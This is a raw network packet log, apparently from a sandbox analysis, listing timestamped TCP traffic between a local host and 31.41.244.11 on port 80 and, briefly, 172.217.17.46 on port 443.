Dec 21, 2024 18:16:34.153327942 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.153376102 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.154670954 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.154757977 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.154829025 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.155890942 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.156001091 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.156079054 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.157278061 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.157366991 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.157382965 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.158041954 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.158668995 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.158809900 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.158943892 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.160005093 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.160106897 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.160200119 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.161381006 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.161428928 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.161493063 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.161573887 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.162722111 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.162864923 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.162911892 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.162911892 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.164172888 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.164295912 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.164400101 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.165433884 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.165560007 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.165607929 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.165607929 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.166920900 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.166994095 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.167030096 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.167067051 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.168229103 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.168435097 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.168514013 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.169760942 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.169822931 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.169842958 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.170929909 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.171019077 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.171030045 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.171988010 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.172348976 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.172411919 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.172422886 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.173423052 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.173881054 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.173965931 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.174000025 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.174041986 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.175051928 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.175173998 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.175180912 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.175216913 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.176446915 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.176472902 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.176558018 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.177735090 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.177849054 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.177861929 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.178189993 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.179115057 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.179209948 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.179223061 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.179286957 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.180723906 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.180897951 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.180970907 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.182379961 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.182537079 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.182588100 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.184072971 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.184145927 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.184164047 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.185034037 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.185072899 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.185107946 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.185671091 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.186106920 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.186188936 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.186297894 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.187330008 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.187432051 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.187458992 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.187666893 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.188718081 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.188796997 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.188817024 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.189675093 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.190072060 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.190177917 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.190213919 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.190299988 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.191437006 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.191503048 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.191544056 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.192452908 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.192830086 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.193017006 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.193135023 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.194161892 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.194224119 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.194281101 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.194392920 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.195517063 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.195560932 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.195595980 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.195641994 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.196914911 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.197001934 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.197104931 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.197160959 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.198338985 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.198410034 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.198448896 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.198448896 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.199644089 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.199719906 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.199757099 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.199806929 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.200982094 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.201103926 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.201297998 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.202312946 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.203749895 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.322280884 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.322350025 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.322357893 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.322432041 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.322890997 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.322957039 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.322974920 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.323081017 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.324122906 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.324150085 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.324187040 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.324187040 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.325318098 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.325376034 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.325409889 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.325469017 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.326642036 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.326837063 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.326896906 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.327765942 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.327850103 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.327862978 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.327924967 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.329057932 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.329107046 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.329173088 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.329263926 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.330291033 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.330389023 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.330410957 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.330507040 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.331461906 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.331522942 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.331542015 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.331582069 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.332598925 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.332700014 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.332737923 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.332787037 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.333841085 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.333909988 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.334070921 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.334122896 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.335035086 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.335078001 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.335179090 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.335246086 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.336620092 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.336638927 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.336683035 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.336683035 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.337527037 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.337568045 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.337591887 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.337635994 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.338731050 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.338793993 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.338816881 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.338862896 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.339988947 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.340044975 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.340178967 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.340318918 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.341142893 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.341233969 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.341253996 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.341350079 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.342350006 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.342421055 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.342430115 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.342518091 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.343694925 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.343771935 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.343815088 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.343905926 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.344928026 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.345005989 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.345016956 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.345062017 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.346098900 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.346143007 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.346187115 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.346281052 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.347230911 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.347311020 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.347358942 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.347547054 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.348567963 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.348628998 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.348661900 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.348727942 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.349721909 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.349801064 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.349822998 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.349997997 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.351295948 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.351336002 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.351351976 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.351407051 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.352363110 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.352380037 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.352405071 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.352464914 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.353526115 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.353579044 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.353591919 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.353656054 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.354793072 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.354839087 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.355110884 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.355155945 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.356128931 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.356184959 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.356508017 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.356561899 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.357614994 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.357683897 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.357695103 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.357738018 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.358814955 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.358863115 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.358932972 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.358998060 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.359776974 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.359839916 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.359884024 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.359924078 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.360625029 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.360681057 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.360723019 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.360723019 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.361911058 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.362003088 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.362045050 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.362045050 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.363151073 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.363208055 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.363213062 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.363255978 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.364419937 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.364484072 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.364676952 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.364820957 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.365861893 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.365931034 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.365967989 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.366091013 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.366916895 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.366974115 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.367065907 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.367137909 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.368149042 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.368237972 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.368256092 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.368310928 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.369302034 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.369538069 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.369618893 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.370484114 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.370541096 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.370599031 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.371611118 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.371750116 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.371902943 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.372879982 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.372992992 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.373009920 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.374239922 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.374377012 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.374420881 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.375297070 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.376039028 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.376157999 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.376277924 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.377146006 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.377368927 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.377422094 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.378474951 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.378546953 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.378638983 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.379328966 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.379457951 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.379523039 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.379565001 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.379642010 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.380387068 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.380491018 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.380597115 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.381380081 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.381505013 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.381552935 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.382575989 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.382622004 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.382673979 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.383335114 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.384140015 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.384166002 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.384191990 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.384226084 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.385020971 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.385116100 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.385147095 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.385194063 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.386181116 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.386281967 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.477659941 CET	443	49827	172.217.17.46	192.168.2.4
Dec 21, 2024 18:16:34.477905035 CET	443	49827	172.217.17.46	192.168.2.4
Dec 21, 2024 18:16:34.477967024 CET	49827	443	192.168.2.4	172.217.17.46
Dec 21, 2024 18:16:34.478074074 CET	49827	443	192.168.2.4	172.217.17.46
Dec 21, 2024 18:16:34.479130983 CET	49827	443	192.168.2.4	172.217.17.46
